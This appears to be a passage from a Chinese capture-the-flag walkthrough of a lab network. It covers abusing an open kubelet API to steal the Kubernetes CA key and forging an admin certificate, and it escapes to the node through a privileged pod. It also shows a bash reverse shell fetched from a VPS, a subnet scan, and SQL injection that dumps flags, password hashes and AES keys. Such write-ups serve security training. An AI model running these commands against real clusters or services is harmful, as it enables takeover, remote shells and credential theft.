/kube-proxy:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-proxy@sha256:166939d1b8d0988d675a027f459e40fbded092887905cc1b62b7e4cb67d493c5","containerID":"docker://90a8b3396e32e60d520d32e250b5710594728a6a2baed2aabe2729eb71910cb8","started":true}],"qosClas100 27019    0 27019    0     0  5490k      0 --:--:-- --:--:-- --:--:-- 6596k
"BestEffort"}},{"metadata":{"name":"escape-pod","namespace":"default","selfLink":"/api/v1/namespaces/default/pods/escape-pod","uid":"d5b3f39d-1e72-46a3-a8ab-327610d146da","resourceVersion":"14163","creationTimestamp":"2026-06-01T12:04:07Z","annotations":{"kubernetes.io/config.seen":"2026-06-01T12:04:07.546803406Z","kubernetes.io/config.source":"api"}},"spec":{"volumes":[{"name":"host","hostPath":{"path":"/","type":"Directory"}},{"name":"default-token-4k8dl","secret":{"secretName":"default-token-4k8dl","defaultMode":420}}],"containers":[{"name":"escape","image":"shiro-web:latest","command":["/bin/sh","-c","sleep 3600"],"resources":{},"volumeMounts":[{"name":"host","mountPath":"/host"},{"name":"default-token-4k8dl","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"default","serviceAccount":"default","nodeName":"web","hostNetwork":true,"hostPID":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute","tolerationSeconds":300},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute","tolerationSeconds":300}],"priority":0,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T12:04:07Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T12:04:08Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T12:04:08Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T12:04:07Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-01T12:04:07Z","containerStatuses":[{"name":"escape","state":{"running":{"startedAt":"2026-06-01T12:04:08Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"shiro-web:latest","imageID":"docker://sha256:6a0d803c0fcaf4452dbe00f06ce9c0dc79af84f018bc94a16b2fb48a5c7d90f8","containerID":"docker://d5606c2acc63756c37966b3a0de013b4e4d0e5bb5486dc443d3b6997feaaa6aa","started":true}],"qosClass":"BestEffort"}}]}

从返回结果中发现：

宿主机 IP：192.168.1.56
kube-apiserver Pod 挂载了 /etc/kubernetes/pki 目录（有 CA 证书）

看Pod列表时发现：

kube-apiserver-web 容器挂载了 /etc/kubernetes/pki（K8s证书目录）

这些证书是K8s集群的最高权限凭证：

ca.crt + ca.key → 可以签发任意用户证书
签一个system:masters组的证书 → 就是集群管理员

为什么要签发新证书而不是直接用？

因为：

kube-apiserver的证书是服务端证书，不能用于客户端认证
system:masters是K8s的超级管理员组
自签证书比偷token更隐蔽、权限更高

https://192.168.1.56:10250/run/命名空间/Pod名/容器名
                                  │      │       │
                                  │      │       └─ kube-apiserver（容器名）
                                  │      └─ kube-apiserver-web（Pod名）
                                  └─ kube-system（命名空间）

这是 Kubelet 的 /run 接口，允许在指定 Pod 的指定容器里执行命令

为什么选 kube-apiserver 这个 Pod

因为从 /pods 返回的信息里看到，只有这个 Pod 挂载了宿主机的证书目录：

"volumeMounts": [{"name":"k8s-certs","mountPath":"/etc/kubernetes/pki"}]

其他 Pod（etcd、scheduler、controller-manager）都没挂 /etc/kubernetes/pki，所以只能用这个 Pod 来偷 ca.crt 和 ca.key

窃取K8s核心证书（CA凭证）：利用kube-apiserver容器挂载了宿主机/etc/kubernetes/pki目录的特点，通过它来读取文件

# 偷 ca.crt
curl -k -X POST -G --data-urlencode 'cmd=cat /etc/kubernetes/pki/ca.crt' 'https://172.17.0.1:10250/run/kube-system/kube-apiserver-web/kube-apiserver' > ca.crt

# 偷 ca.key
curl -k -X POST -G --data-urlencode 'cmd=cat /etc/kubernetes/pki/ca.key' 'https://172.17.0.1:10250/run/kube-system/kube-apiserver-web/kube-apiserver' > ca.key

命令结构：

curl \
  -k \                          # 忽略 SSL 证书错误（跳过 TLS 验证）
  -X POST \                     # 使用 HTTP POST 方法
  -G \                          # 将数据（--data-urlencode）放到 URL 的查询字符串中（GET 风格传参）
  --data-urlencode 'cmd=cat /etc/kubernetes/pki/ca.crt' \  # URL 编码的参数
  'https://172.17.0.1:10250/run/kube-system/kube-apiserver-web/kube-apiserver' \  # 目标 URL
  > ca.crt                      # 输出重定向到文件

类比请求包：

POST /run/kube-system/kube-apiserver-web/kube-apiserver?cmd=cat%20/etc/kubernetes/pki/ca.crt HTTP/1.1
Host: 172.17.0.1:10250
User-Agent: curl/...
Accept: */*
...（其他 headers）

（请求体为空）

生成管理员证书，控制整个K8s：
拿到ca.crt和ca.key，你就等于拿到了这个K8s集群的“根证书颁发机构”。你可以用它签发一个最高权限的“管理员证书”

# 生成管理员私钥和证书签名请求
openssl genrsa -out admin.key 2048
openssl req -new -key admin.key -out admin.csr -subj '/CN=admin/O=system:masters'
# 用偷来的CA签发证书
openssl x509 -req -in admin.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out admin.crt -days 365

生成管理员私钥和证书签名请求

openssl genrsa -out admin.key 2048

参数	含义
`genrsa`	生成 RSA 私钥
`-out admin.key`	输出到文件 `admin.key`
`2048`	密钥长度（2048 位）

作用：创建一个 2048 位的 RSA 私钥，用于后续签署证书请求

openssl req -new -key admin.key -out admin.csr -subj '/CN=admin/O=system:masters'

参数	含义
`req -new`	创建新的证书签名请求
`-key admin.key`	使用上面生成的私钥
`-out admin.csr`	输出 CSR 文件
`-subj`	证书主题（关键！）

-subj 的含义：

字段	值	作用
`/CN=admin`	Common Name（通用名称）	作为 Kubernetes 的用户名（Username）
`/O=system:masters`	Organization（组织）	将用户加入 system:masters 组

在 Kubernetes RBAC 中：

system:masters 组是最高权限组，相当于 root
拥有该组身份的用户可以完全控制整个集群

用偷来的CA签发证书

openssl x509 -req -in admin.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out admin.crt -days 365

参数	含义
`x509 -req`	处理证书请求，生成 X.509 证书
`-in admin.csr`	输入 CSR 文件
`-CA ca.crt`	CA 证书文件（你从节点偷来的）
`-CAkey ca.key`	CA 私钥文件（需要另外获取）
`-CAcreateserial`	自动创建序列号文件
`-out admin.crt`	输出生成的证书
`-days 365`	证书有效期 365 天

核心原理：只要你有集群的 ca.key（CA 私钥），你就是这个集群的"根信任源"，可以签发任意身份的证书，包括管理员

创建特权Pod，完成逃逸：
用刚签发的高权限证书，向API Server（通过https://172.17.0.1:6443访问）下达命令，创建一个“特权”Pod。这个Pod会直接使用宿主机的根目录，并将宿主机进程空间也暴露给你，从而实现100%的逃逸。
文章里提供了一个Python脚本，其核心是创建这样一个Pod：

挂载宿主根目录：将宿主机的 / 目录挂载到Pod内的 /host 目录。
开启特权模式：securityContext: {privileged: true}，容器拥有几乎所有能力。
共享宿主机进程：hostPID: true，在Pod内能直接看到宿主机所有进程，甚至可以用nsenter切换进去。

可以用curl配合证书，手动发一个JSON请求来创建Pod：

# 先把 admin.crt 和 admin.key 确认在当前目录
ls -la admin.crt admin.key

# 创建特权 Pod
curl -k --cert admin.crt --key admin.key -X POST -H 'Content-Type: application/json' -d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"test-pod","namespace":"default"},"spec":{"nodeName":"web","hostNetwork":true,"hostPID":true,"restartPolicy":"Never","containers":[{"name":"hostsh","image":"shiro-web:latest","imagePullPolicy":"IfNotPresent","command":["/bin/sh","-c","sleep 36000"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"hostroot","mountPath":"/host"}]}],"volumes":[{"name":"hostroot","hostPath":{"path":"/","type":"Directory"}}]}}' https://192.168.1.56:6443/api/v1/namespaces/default/pods

Pod 配置关键点

配置	作用
`privileged: true`	特权容器，拥有宿主机几乎所有权限
`hostPID: true`	可看到宿主机所有进程
`hostNetwork: true`	使用宿主机网络
`volumeMounts: /host`	挂载宿主机根目录到 `/host`

验证是否挂载成功

curl -k -X POST -G --data-urlencode 'cmd=ls -la /host' 'https://172.17.0.1:10250/run/default/test-pod/hostsh'

找flag位置

curl -k -X POST -G --data-urlencode 'cmd=cat /host/flag1' 'https://172.17.0.1:10250/run/default/test-pod/hostsh'

查看

curl -k -X POST -G --data-urlencode 'cmd=cat /host/flag1' 'https://172.17.0.1:10250/run/default/myhost/escape'

flag1{1fbfaaf6-4810-4239-b8df-b182b3ea11d2}

把逃出来的shell反弹到vps

vps准备文件：

echo '#!/bin/bash
bash -i >& /dev/tcp/VPS/9999 0>&1' > rev.sh

靶机下载

curl -k -X POST -d 'cmd=chroot /host curl -O http://VPS:8080/rev.sh' 'https://172.17.0.1:10250/run/default/test-pod/hostsh'

执行

curl -k -X POST -d 'cmd=chroot /host bash rev.sh' 'https://172.17.0.1:10250/run/default/test-pod/hostsh'

192.168.1.123

ip情况：

在逃出来的主机传fscan扫描（因为会崩所以看wp结果）

./fscan -h 192.168.1.56/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.1.56    is alive
(icmp) Target 192.168.1.83    is alive
(icmp) Target 192.168.1.112   is alive
(icmp) Target 192.168.1.123   is alive
(icmp) Target 192.168.1.253   is alive
[*] Icmp alive hosts len is: 5
192.168.1.56:22 open
192.168.1.112:135 open
192.168.1.83:135 open
192.168.1.123:22 open
192.168.1.112:139 open
192.168.1.83:139 open
192.168.1.83:88 open
192.168.1.123:8000 open
192.168.1.56:8080 open
192.168.1.56:2379 open
192.168.1.112:445 open
192.168.1.83:445 open
192.168.1.56:10250 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo 
[*]192.168.1.83
   [->]dc01
   [->]192.168.1.83
[*] NetInfo 
[*]192.168.1.112
   [->]WIN-R4DDIB9732K
   [->]192.168.1.112
[+] MS17-010 192.168.1.83       (Windows Server 2016 Standard Evaluation 14393)
[*] WebTitle http://192.168.1.123:8000 code:404 len:22     title:None
[*] WebTitle http://192.168.1.56:8080  code:302 len:0      title:None 跳转url: http://192.168.1.56:8080/login;jsessionid=D11DA5EE0E85C1069406BA36216DF62B
[*] NetBios 192.168.1.83    [+] DC:dc01.MICHA.COM                Windows Server 2016 Standard Evaluation 14393
[*] NetBios 192.168.1.112   WIN-R4DDIB9732K.MICHA.COM           WWindows Server 2016 Standard Evaluation 14393
[*] WebTitle https://192.168.1.56:10250 code:404 len:19     title:None
[*] WebTitle http://192.168.1.56:8080/login;jsessionid=D11DA5EE0E85C1069406BA36216DF62B code:400 len:277    title:None

总览：

IP	主机名	开放端口	服务/组件	漏洞/备注
192.168.1.56	(K8s Node)	22, 8080, 2379, 10250	SSH, Web应用, etcd, Kubelet API	K8s 工作节点，8080 跳转到 `/login`（可能是业务应用）
192.168.1.83	`dc01.MICHA.COM`	88, 135, 139, 445	Kerberos, RPC, NetBIOS, SMB	域控 DC，存在 MS17-010 (永恒之蓝) 漏洞
192.168.1.112	`WIN-R4DDIB9732K.MICHA.COM`	135, 139, 445	RPC, NetBIOS, SMB	Windows Server 2016，域内成员机
192.168.1.123	(未知)	22, 8000	SSH, HTTP	8000 端口返回 404
192.168.1.253	(未知)	无开放端口	仅 ICMP 存活	存活但无扫描到开放端口

Web API服务常见的接口文档路径有几种惯例：

路径	来源
`/docs`	FastAPI / Swagger 默认
`/api`	RESTful 惯例
`/swagger`	Swagger UI
`/openapi.json`	OpenAPI规范
`/redoc`	ReDoc文档

curl一下

# curl -s http://192.168.1.123:8000/
{"detail":"Not Found"}
# curl -s http://192.168.1.123:8000/docs
{"0":{"api":"User Information Query","method":"POST","url":"/api/BasicData","content-type":"application/json","params":{"username":"fuzzy search","workingID":"exact match"},"example":{"request":{"username":"al"},"response":{"status":"success","count":1,"data":[{"username":"alex","phone":"170*****723","email":"zmf7yv90y@company.com","workingID":"503207b4-0e73-41bd-ae30-cd921b6d7f28"}]}}},"1":{"api":"Project Record Query","method":"POST","url":"/api/ProjectRecord","content-type":"application/json","params":{"username":"exact search","grade":"exact match"},"example":{"request":{"grade":"A"},"response":{"status":"success","count":1,"data":[{"employee_name":"jaxon","task":"Brand Refresh","start_date":"2025-11-02","end_date":"2025-04-09","status":"A"}]}}},"2":{"api":"Attendance Record Query","method":"POST","url":"/api/AttendanceRecord","content-type":"application/json","params":{"username":"fuzzy search"},"example":{"request":{"username":"Alice"},"response":{"status":"success","count":1,"data":[{"employee_name":"Alice Johnson","status":"Late","remarks":"Arrived late due to traffic congestion","check_in_time":"2025-01-02 09:10","check_out_time":"2025-01-02 17:45"}]}}},"3":{"api":"Search for Password Hash (Limit 10)","method":"POST","url":"/api/PasswdHash","content-type":"application/json","params":{"username":"fuzzy search"},"example":{"request":{"username":"alex"},"response":{"status":"success","count":1,"data":[{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"}]}}}}

接口文档出来了，4个API：

#	接口	功能	参数
0	`/api/BasicData`	用户信息查询	username(模糊), workingID(精确)
1	`/api/ProjectRecord`	项目记录查询	username(精确), grade(精确)
2	`/api/AttendanceRecord`	考勤记录查询	username(模糊)
3	`/api/PasswdHash`	密码哈希查询	username(模糊)

先探测SQL注入

/api/PasswdHash 最可疑，它查询密码哈希，username是模糊搜索，很可能直接拼SQL，先测试：

# 正常请求
curl -s -X POST http://192.168.1.123:8000/api/PasswdHash -H 'Content-Type: application/json' -d '{"username":"alex"}'
{"status":"success","count":2,"data":[{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"},{"username":"alexander","hash":"ccb42dfa775c85bdcbb208fbc6c388f2"}]}

# 单引号测注入
curl -s -X POST http://192.168.1.123:8000/api/PasswdHash -H 'Content-Type: application/json' -d "{\"username\":\"alex'\"}"
{"status":"error","msg":"unrecognized token: \"' LIMIT 10\""}

# UNION注入测列数（先试2列）
curl -s -X POST http://192.168.1.123:8000/api/PasswdHash -H 'Content-Type: application/json' -d "{\"username\":\"x' UNION SELECT 1,2--\"}"
{"status":"success","count":3,"data":[{"username":1,"hash":2},{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"},{"username":"evelynx","hash":"e21009b647a6151fc9c2705f1b14ac1b"}]}

# 查数据库版本
curl -s -X POST http://192.168.1.123:8000/api/PasswdHash -H 'Content-Type: application/json' -d "{\"username\":\"x' UNION SELECT sqlite_version(),2--\"}"
{"status":"success","count":3,"data":[{"username":"3.22.0","hash":2},{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"},{"username":"evelynx","hash":"e21009b647a6151fc9c2705f1b14ac1b"}]}

# 列出所有表
curl -s -X POST http://192.168.1.123:8000/api/PasswdHash -H 'Content-Type: application/json' -d "{\"username\":\"x' UNION SELECT name,2 FROM sqlite_master WHERE type='table'--\"}"
{"status":"success","count":6,"data":[{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"},{"username":"evelynx","hash":"e21009b647a6151fc9c2705f1b14ac1b"},{"username":"informations","hash":2},{"username":"login","hash":2},{"username":"project_evaluation","hash":2},{"username":"secret","hash":2}]}

# 查 secret 表（猜测有flag）
curl -s -X POST http://192.168.1.123:8000/api/PasswdHash -H 'Content-Type: application/json' -d "{\"username\":\"x' UNION SELECT sql,2 FROM sqlite_master WHERE name='secret'--\"}"
{"status":"success","count":3,"data":[{"username":"CREATE TABLE secret (\n    id INTEGER PRIMARY KEY,\n    flag TEXT,\n    hint TEXT\n)","hash":2},{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"},{"username":"evelynx","hash":"e21009b647a6151fc9c2705f1b14ac1b"}]}

# 读 flag 和 hint
curl -s -X POST http://192.168.1.123:8000/api/PasswdHash -H 'Content-Type: application/json' -d "{\"username\":\"x' UNION SELECT flag,hint FROM secret--\"}"
{"status":"success","count":3,"data":[{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"},{"username":"evelynx","hash":"e21009b647a6151fc9c2705f1b14ac1b"},{"username":"flag2{9f23aa16-33e7-11f1-9508-7e92a294591d}","hash":"Can you decrypt AES?"}]}

# 同时把 login 表结构也读一下，可能有账号密码
curl -s -X POST http://192.168.1.123:8000/api/PasswdHash -H 'Content-Type: application/json' -d "{\"username\":\"x' UNION SELECT sql,2 FROM sqlite_master WHERE name='login'--\"}"
{"status":"success","count":3,"data":[{"username":"CREATE TABLE login (\n    id INTEGER PRIMARY KEY,\n    username TEXT,\n    hash TEXT,\n    passwd TEXT\n)","hash":2},{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"},{"username":"evelynx","hash":"e21009b647a6151fc9c2705f1b14ac1b"}]}

# 读 login 表内容
curl -s -X POST http://192.168.1.123:8000/api/PasswdHash -H 'Content-Type: application/json' -d "{\"username\":\"x' UNION SELECT username,passwd FROM login--\"}"
{"status":"success","count":103,"data":[{"username":"abigail","hash":"b98adbbc9c5a5a72314f29f99b43caaa"},{"username":"adam","hash":"78c65472b8f94e30f0e05bf26d9af749"},{"username":"addison","hash":"b9067f63dd917a39960c2f3c9267a0d3"},{"username":"aiden","hash":"5c00c8cb78a1b995af34570797fe2e5a"},{"username":"alex","hash":"6a5907755531262127cd9eb74404ed15"},{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"},{"username":"alexander","hash":"5184bba410a5d14778820e33b77855a4"},{"username":"amelia","hash":"623b18387f2111cce8cff07e4072f5bd"},{"username":"anthony","hash":"4e5213bc8ade286a6d6322c4bd29b763"},{"username":"aria","hash":"0f019aad3b548312d903322861bc327f"},{"username":"ariana","hash":"f915a897a59177c3e0cba7ea996f1bf5"},{"username":"aubrey","hash":"6a73a2a26e79ec010ace6c0d0d77cccf"},{"username":"aurora","hash":"7927e175e6b63b62fb4ec93be95aeb15"},{"username":"autumn","hash":"2712436668401c727410db6c591480cb"},{"username":"ava","hash":"7fb965dc3b065253156fed39b7bb70e8"},{"username":"bella","hash":"189166fbd62ecb66c14c6ac17bb9197d"},{"username":"benjamin","hash":"3f988f621efa13087dda83c3b1391a51"},{"username":"brian","hash":"e535ccc0216537f26e7f005c94dee774"},{"username":"caleb","hash":"d099f1ff4a7191f1dc2f10192b82e80d"},{"username":"camila","hash":"d11e71a05eb8e5b500938dfbf2a5b9b3"},{"username":"camille","hash":"dea09257be59c3e84b58f50dea0c145b"},{"username":"carter","hash":"93daab41425ad25bee226fc7123337ab"},{"username":"charlotte","hash":"e1d2516b0bf63282db83a4b4a7f5fd6b"},{"username":"chloe","hash":"90f354ad6a4e618f45164fd123fb1081"},{"username":"christian","hash":"4437e30a39c2aa3ca62c20d91a7f3f0d"},{"username":"claire","hash":"822968182bf0b2b35def10b6288f017b"},{"username":"daniel","hash":"2631dce1b1e49acdee3b1323e0db419b"},{"username":"david","hash":"ed4065983dc0c5bd12da19fc1aec9616"},{"username":"eli","hash":"8f78ed43664830d144fbb50f200781b4"},{"username":"elijah","hash":"13effdc1e8c7ab855add709fe9ac95bc"},{"username":"ella","hash":"7b9a2a13a58a55dbbc5c5e32b48557db"},{"username":"ellie","hash":"9f196db2817f7a28365cc5d9a573e38a"},{"username":"emily","hash":"72474e073541d8add93f8e5dab520534"},{"username":"emma","hash":"659515082d6638ca3a7c90e4afe42393"},{"username":"ethan","hash":"47f37de3ebc80369a1670386f73e16b8"},{"username":"evelyn","hash":"021b21c3f965a0745abb5e80217eb31b"},{"username":"evelynx","hash":"8f29728e94048f5c37ccff84a52ea9e2"},{"username":"evelynx","hash":"e21009b647a6151fc9c2705f1b14ac1b"},{"username":"gabriel","hash":"185ac553cb396995cbb78001f867ecb0"},{"username":"grace","hash":"8e249ed71e45f60c698f6b06445217b8"},{"username":"grayson","hash":"e1f6374b6354cde3157cefe34b6034c5"},{"username":"harper","hash":"3dec1ac8ca7f9f4deca4a4567fc20f53"},{"username":"hazel","hash":"d04c4cebdbffc397e0a940e9251a2e09"},{"username":"henry","hash":"797d4359f1da84858032a26580899172"},{"username":"hunter","hash":"c3bc69ee9b18890139264ea59cc5d35b"},{"username":"isaac","hash":"2e85e7dae214ae1be4fe7f402fb2b363"},{"username":"isabella","hash":"6012f9f69c82d7d1f02c5c5e50bed8c9"},{"username":"isaiah","hash":"4e8d8015133a0572a9eeb7088a704e22"},{"username":"jack","hash":"a153d26a76252bde830fa711ac5a89b1"},{"username":"jackson","hash":"f3aef9917396ad13fb79d1e9fe257a9e"},{"username":"jacob","hash":"134d594aaccf9fdbca76a9afcc1c51b3"},{"username":"james","hash":"a26321fdf110c6f884530585100f17a7"},{"username":"jaxon","hash":"bc3d2d7d96f9f7ba401ff2645523a1b6"},{"username":"jayden","hash":"36c28913fe432bb2dfb759c13781fe8a"},{"username":"john","hash":"21747d38a01d9fe5c789d87ccf2e4f2f"},{"username":"jonah","hash":"2838e12cbb0612d00ac1dbf302cea9d5"},{"username":"joseph","hash":"dd40f3ab18137c7538da9086b3009712"},{"username":"kevin","hash":"6bf1f9287a2788b4ad2b9ca8a9f2a1a8"},{"username":"layla","hash":"4bf22f93609e9e0f0a7c62971c87c57b"},{"username":"leo","hash":"b29fec5c6daaf9d42b4c945fe7d463c4"},{"username":"levi","hash":"ebcfd6c12adcd8f9eaff0ea9e534ccae"},{"username":"liam","hash":"014610587bf7c3b0aa68dcaeab2f6881"},{"username":"lila","hash":"0a6c104b3c57ff77e180fb34839f6553"},{"username":"liliana","hash":"b8a9d4cf3ee4d68708cbb0a0fcaf6d79"},{"username":"lily","hash":"68ae7dba77025f8b479ae03bb3d796c8"},{"username":"logan","hash":"e7a4666a42c2254d92fcd393321ee872"},{"username":"lucas","hash":"591dbd9f19339cbf3113e3d308ccb8e6"},{"username":"luke","hash":"15ef776f5f0e8c19a6b85a68fd9daf44"},{"username":"luna","hash":"56d95d3a4ee282fedfaa77339a839e2f"},{"username":"madison","hash":"0df5f415f0205ec9e7918a0a19b11130"},{"username":"mason","hash":"d6d25f25c545c10fc5e4c638db16de84"},{"username":"matthew","hash":"654e5502e9ee06d0fb8636981bd259fa"},{"username":"mia","hash":"0ae8fb7fbec6e73d7f40dd51aea41cb2"},{"username":"michael","hash":"ffcbaa3b5519257b32cbd0e6fe8bcb76"},{"username":"naomi","hash":"45a8b3da5d61deef1538a23c346cf872"},{"username":"natalie","hash":"f1355730a76fb3b9572332c9cd3e64b7"},{"username":"nathan","hash":"36a06f751eeb1daaa18f4fea84be10fb"},{"username":"nicholas","hash":"d929005d8ca82baf39239ff9145c187e"},{"username":"noah","hash":"8f23f1a80384d1955c1597810c9de1ab"},{"username":"nolan","hash":"5ef11868d37e7ac1770a57563c2d4c4b"},{"username":"nora","hash":"248623805220855aededde11cb16da16"},{"username":"oliver","hash":"33c6e0418e014a5fedc9685e8016ebd0"},{"username":"olivia","hash":"be3c37506e988da82ed189a9470c0df1"},{"username":"owen","hash":"e41decafc2887f150efdc2f750f312a0"},{"username":"penelope","hash":"146cc260c01ce593814be0993a36bda8"},{"username":"peyton","hash":"06ffa73a7a631db0b603aa30d5d148e5"},{"username":"riley","hash":"1023acb0b288391dee78bd4a800470e3"},{"username":"ruby","hash":"230a90c7b60084616623ee1c8a4c4b43"},{"username":"samuel","hash":"6166ef251941ac5a8c2865f53d2a5564"},{"username":"savannah","hash":"4a16248def14e2a597632cc1763ab639"},{"username":"scarlett","hash":"1431487d28d8b251b229b3d325f4237d"},{"username":"sebastian","hash":"466c27e09c5678b185d4f49b6b8fc280"},{"username":"skylar","hash":"8cdf64c0573941bae09dd85eb6685944"},{"username":"sophia","hash":"86ce2e0b5266c70e9f09a5bcf368c13a"},{"username":"sophie","hash":"a34abedc3ae477e139cdc4e71a0fb689"},{"username":"stella","hash":"f361891cbd2a82954c68be4d3ae07a1f"},{"username":"test","hash":"b8885346c23d9b24132d25cfe50270a8"},{"username":"tristan","hash":"bcd5c1eb44c31903180c451fa377a4fc"},{"username":"victoria","hash":"2f84dc5ceaf5e1335750a2d5c82bac06"},{"username":"violet","hash":"6eb5b80411d3ab984e16b34ddfe143bf"},{"username":"william","hash":"6c50bfa8dd9f07c7caaa10f7fa634242"},{"username":"wyatt","hash":"8fc32d875dbfb43a0ec1157d2edc4bf7"},{"username":"zoey","hash":"69b980a5f73a30a9cf827dfad65c7abd"}]}

login.hash 是明文密码的 MD5；login.passwd 是 AES 加密后的 16 字节 hex；informations.key 是每个用户的 32 字节 AES-256 key。因为每个密文只有一个 block，AES-ECB 和 AES-CBC-zero-IV 第一个块输出相同；用 MD5 校验即可确认明文

后续这些账号密码好像并没有用

key：

curl -s -X POST http://192.168.1.123:8000/api/PasswdHash -H 'Content-Type: application/json' -d "{\"username\":\"x' UNION SELECT username,key FROM informations--\"}"
{"status":"success","count":103,"data":[{"username":"abigail","hash":"t4asx4it2u9zncr20kizv8iopdhs6unx"},{"username":"adam","hash":"9ej678fc8ifu1zy2stuumlbo2hh7nj4j"},{"username":"addison","hash":"sr576d0u0zwdhqpn60xom1t1ld0pxb6i"},{"username":"aiden","hash":"tslo1246omu0kxji97bsydnn8m2hjhkx"},{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"},{"username":"alex","hash":"l28c38t7dzr5cwgvtg9uvdljv99zy3je"},{"username":"alexander","hash":"hitbs5vzauhvpwekxu9bgn3f4ij9le19"},{"username":"amelia","hash":"39r6dsm9qso368bdnl23jh540qwjqo6q"},{"username":"anthony","hash":"aiwn36h8sooafxabpr50jruxi6zhs1lk"},{"username":"aria","hash":"yl7m9v2bszhm84n81ffz2r04ctgpxpuo"},{"username":"ariana","hash":"melogfa9gaejn0e9sjhvhhbwq6xpoyt4"},{"username":"aubrey","hash":"zx7h5grnbwchjcq7waf9ko32shmyb57e"},{"username":"aurora","hash":"ozsrl2eibgyypyabscl3nhlsvyxfh11d"},{"username":"autumn","hash":"zbjhfqaj3ztxa24yafqxl6ytxlpi4g39"},{"username":"ava","hash":"602ksea7y14nz3oyo5anhbsng2jejdby"},{"username":"bella","hash":"c4ov2njap5lf81d9qme3o21so9zvqjef"},{"username":"benjamin","hash":"u4t49y33futw623jj0pzmfc0pn489aco"},{"username":"brian","hash":"wy7rdeesot0bf4rpzs00rnzc3y2sz9w9"},{"username":"caleb","hash":"61kmqxe192si02vz3wck8jenijuti0oc"},{"username":"camila","hash":"deg4brm0oukqdqs1obrjbcctfm01et2x"},{"username":"camille","hash":"8d23sirjtg11lb6dm4bpu9gzjns3emkp"},{"username":"carter","hash":"0s0kj3kf95ecw7tinuhml91hik6z8nxt"},{"username":"charlotte","hash":"76yn801gerjj7bhh6j3gxz65xahe9u5o"},{"username":"chloe","hash":"66k1axpqef3tbxq1tdkn8501wy1v411e"},{"username":"christian","hash":"gs6q8k540sq7gzv4p3ctqc0phbhb2wic"},{"username":"claire","hash":"kgznq7g718q6imrlglf1iwsip1wdw5mv"},{"username":"daniel","hash":"l3scbuqu4cy9fjcz2782g9ijqoap28y8"},{"username":"david","hash":"h5laiv777jnfj0ihenk8exvns5h6hw10"},{"username":"eli","hash":"3613m73id6g6refpy4v24s7yq0gcmx3o"},{"username":"elijah","hash":"0nd0pndg7748ydxeccydc4cdw49ow47b"},{"username":"ella","hash":"tbkqrxhysctlz02vsw998685246cm8jc"},{"username":"ellie","hash":"69f766f5blwqpaoubjuceoppu3nq5ehh"},{"username":"emily","hash":"45uso3eliy0ofodhrlxmqm1buz0zu6f8"},{"username":"emma","hash":"8dczpukj7wch047kov4xjagf4rdgehmi"},{"username":"ethan","hash":"rqxoa9rohd65llta2g7wh591c01jdi6r"},{"username":"evelyn","hash":"4nnq8af5dl63b6qi5kloz3fr138j0fo0"},{"username":"evelynx","hash":"0sa36wzprclo1nxk8979131s07rkkx6i"},{"username":"evelynx","hash":"e21009b647a6151fc9c2705f1b14ac1b"},{"username":"gabriel","hash":"lpzv1c5cqczr76qfb8k8h4sp7p0qyuqq"},{"username":"grace","hash":"sbfpe2kfmysat3ez8gd7radp4uo99rcb"},{"username":"grayson","hash":"4vsibgx9ztxy4xzap39lgoswj5cmxi0i"},{"username":"harper","hash":"riir28oouef0ya7qv2ezwihgbv65tz68"},{"username":"hazel","hash":"xzo1806kdbcvyhnos37bklbt9bqdifoz"},{"username":"henry","hash":"ghsa4f4lek722lj4558ec4yl2fo4hpo0"},{"username":"hunter","hash":"otjodbwjzjqac7sju6weslqo47xyx3tw"},{"username":"isaac","hash":"kj8y14b9y73d37wld73zwj98wkcq4vd8"},{"username":"isabella","hash":"6g6c190nvoyhygz0cv69m0lzst55cfmw"},{"username":"isaiah","hash":"fwaqkfjckbhknr438hjvicumlpj5388w"},{"username":"jack","hash":"2ayqkzy8ouv157cdkfricda5bwk1wmtl"},{"username":"jackson","hash":"ygl1j9x5el4i0u62lbuzod0epx3r0ukd"},{"username":"jacob","hash":"74zeb74wrd3salg9fglh7d37p428j06n"},{"username":"james","hash":"rg3bvtg8n8h0srrdn935ebyqjbmw4zxo"},{"username":"jaxon","hash":"sxrszz7e8gpuste6ycfl66i5u9t0pywh"},{"username":"jayden","hash":"n8iyy2qhx358xc3cblcngat6b8wiq9dt"},{"username":"john","hash":"qt7yk3zfki624w44jlro91gg